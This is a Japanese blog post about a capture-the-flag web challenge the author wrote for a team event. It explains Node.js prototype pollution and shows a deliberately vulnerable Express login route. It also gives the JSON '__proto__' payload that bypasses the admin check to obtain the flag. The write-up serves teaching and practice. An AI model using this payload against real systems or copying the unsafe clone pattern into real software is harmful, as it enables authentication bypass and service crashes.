チーム内CTFで作問した話 - プロトタイプ汚染攻撃編

この記事は [m1z0r3 Advent Calendar 2018](https://qiita.com/advent-calendar/2018/m1z0r3) の6日目です。

以前、 [Node.jsにおけるプロトタイプ汚染攻撃とは何か - ぼちぼち日記](https://jovi0608.hatenablog.com/entry/2018/10/19/083725) という記事を読んで「CTF の Web 問で使えそうだなぁ」と思ったので、先日チーム内で開催した CTF に出題してみました。

本記事では、どのような問題を作成したかと、作問にあたり大変だったことを書きます。
なお、ソースコードは下記にあるので、試したい場合は README のようにセットアップしてみてください。

- https://github.com/koki-sato/proto-note

## プロトタイプ汚染攻撃とは？

Node.js におけるプロトタイプ汚染攻撃に関しては、以下の記事に詳しく書いてあります。

- [Node.jsにおけるプロトタイプ汚染攻撃とは何か - ぼちぼち日記](https://jovi0608.hatenablog.com/entry/2018/10/19/083725)
- [Node.jsにおけるprototype汚染攻撃への対策 - SSTエンジニアブログ](https://techblog.securesky-tech.com/entry/2018/10/31/)

そもそも JavaScript はプロトタイプベースの言語です。次の例を見てみましょう。

```javascript
Object.prototype.hello = function() {
  console.log('Hello');
}

const hoge = {}
console.log(hoge instanceof Object) // -> true
console.log(hoge.__proto__ === Object.prototype) // -> true

hoge.hello() // -> Hello
```

上記では `hoge` には `hello()` というメソッドは定義されていませんが、 `hoge.hello()` によって Hello が表示されます。
実は `hoge` を定義した時に、自動で `hoge.__proto__` というプロパティが生成され、そこに `Object.prototype` への参照がセットされます。

そして `hoge.hello()` を呼び出した時、 `hoge` に `hello` というプロパティがない場合には、 `hoge.__proto__.hello` があるか見に行きます。 `hoge.__proto__` は `Object.prototype` と同一なので、 `Object.prototype.hello` が呼び出された、というわけです。

逆にこれを利用して、プロトタイプを汚染することもできます。

```javascript
const hoge = {}
hoge.__proto__.polluted = 1

const fuga = {}
console.log(fuga.polluted) // -> 1
```

`hoge.__proto__` は `Object.prototype` と同一なので、 `hoge.__proto__.polluted = 1` というのは `Object.prototype.polluted = 1` としたのと同じです。

結果として `hoge` のプロトタイプを操作しただけで、別のオブジェクトである `fuga` のプロパティが変わってしまいました。これを **プロトタイプ汚染** と言います。

Node.js におけるプロトタイプ汚染攻撃とは、外部からプロトタイプ汚染を起こし、 Node.js 環境の Web サーバーに攻撃することを指します。

## 問題の概要

実際に出題した問題は、Qiita のように Markdown でメモが作成できる簡易 Web アプリケーションです。
FLAG が 2 つあり、1つ目の FLAG が簡単な XSS により手に入り、2つ目の FLAG がプロトタイプ汚染攻撃により手に入るようになっています。

![image.png](https://qiita-image-store.s3.amazonaws.com/0/86238/1de25a7a-6e84-4b52-85ba-295b7e349ede.png)

SPA でできており、フロントエンドは React、サーバサイドは Express で書かれています。また、ソースコードも公開して解いてもらいました。

2つ目の FLAG に関わるサーバサイドのコードが下記です（見やすさのために一部改変）。

```typescript
import * as bodyParser from 'body-parser'
import * as express from 'express'
import { clone, hashPassword } from './utils'
...

const app = express()
app.use(bodyParser.json())
...

app.post('/api/login', async (req, res) => {
  const params: LoginQuery = clone(req.body)
  User.findOne({
    attributes: ['id', 'name'],
    where: { name: params.name, password: hashPassword(params.password) },
  })
    .then(instance => {
      if (instance) {
        const user: any = instance.get()
        req.session!.user = user.id
        if (user.name === user.admin) {
          res.send(process.env.FLAG2)
        } else {
          const result: LoginResult = { success: true, data: { name: user.name }, errors: [] }
          res.json(result)
        }
      } else {
        const result: LoginResult = { success: false, data: null, errors: ['Invalid name or password'] }
        res.json(result)
      }
    })
    .catch(_ => {
      const result: LoginResult = { success: false, data: null, errors: ['Invalid name or password'] }
      res.json(result)
    })
})
```

`/api/login` というエンドポイントで、POST された name と password からユーザをデータベースから探してきて、存在すればログイン成功、存在しない場合はログイン失敗、というのが基本的な処理です。

そして、ユーザが存在してかつ `user.name === user.admin` の場合のみ、FLAG が手に入ります。
ただし、 User テーブルに admin というカラムは存在しないため、普通に考えると `user.admin` は `undefined` のため、どうやっても FLAG は手に入りません。

## 解答/解説

2 行目の `const params: LoginQuery = clone(req.body)` の中の `clone` という関数が [Node.jsにおけるプロトタイプ汚染攻撃とは何か - ぼちぼち日記](https://jovi0608.hatenablog.com/entry/2018/10/19/083725) に出てくるものと同様で、 ディープコピーする際に `__proto__` もコピーできてしまいます。

そこで、以下のような JSON を POST すると、 `clone` により `Object.prototype.admin` が `"hoge"` となり、 `user.name === user.admin === "hoge"` となるため FLAG が手に入ります。

```json
{
  "name": "hoge",
  "password": "fuga",
  "__proto__": {
    "admin": "hoge"
  }
}
```

## 苦労した点

一度プロトタイプが汚染されると、想定外のところで副作用を起こしてクラッシュする（新規ユーザを作成する際や、テンプレートエンジンを使う場合にはレンダリングする際にクラッシュする）ので、誰かが攻撃に成功すると毎回手動で再起動しなきゃ行けないです。

本格的に作問する前に PoC の段階で気が付いてたのですが、まあチーム内 CTF 程度の規模感なら毎回手動で再起動で大丈夫だろうと思って作問しました。（結果としては全然大丈夫でした）
ただ、オンラインの CTF で出題する際には何か工夫が必要だろうなぁと思いました。

また、最初は `user.admin` が true の時に FLAG が手に入るようにしようかなと思ったのですが、そうすると誰かが攻撃に成功した瞬間に他の人も（ `user.admin` が true になってしまい） FLAG が手に入ってしまうため、 `user.name === user.admin` という少し変な条件にしました。

## 参考

- [Node.jsにおけるプロトタイプ汚染攻撃とは何か - ぼちぼち日記](https://jovi0608.hatenablog.com/entry/2018/10/19/083725)
- [Node.jsにおけるprototype汚染攻撃への対策 - SSTエンジニアブログ](https://techblog.securesky-tech.com/entry/2018/10/31/)
- [プロトタイプ汚染とループ - latest log](http://uupaa.hatenablog.com/entry/2012/11/07/143947)
- [JavaScriptの概念たち (後編) - Qiita](https://qiita.com/tsin1rou/items/b30885b189a8ec596c72#17-prototype-chain)
- [JavaScriptのプロトタイプからオブジェクト指向を学ぶ - Qiita](https://qiita.com/takeharu/items/809114f943208aaf55b3)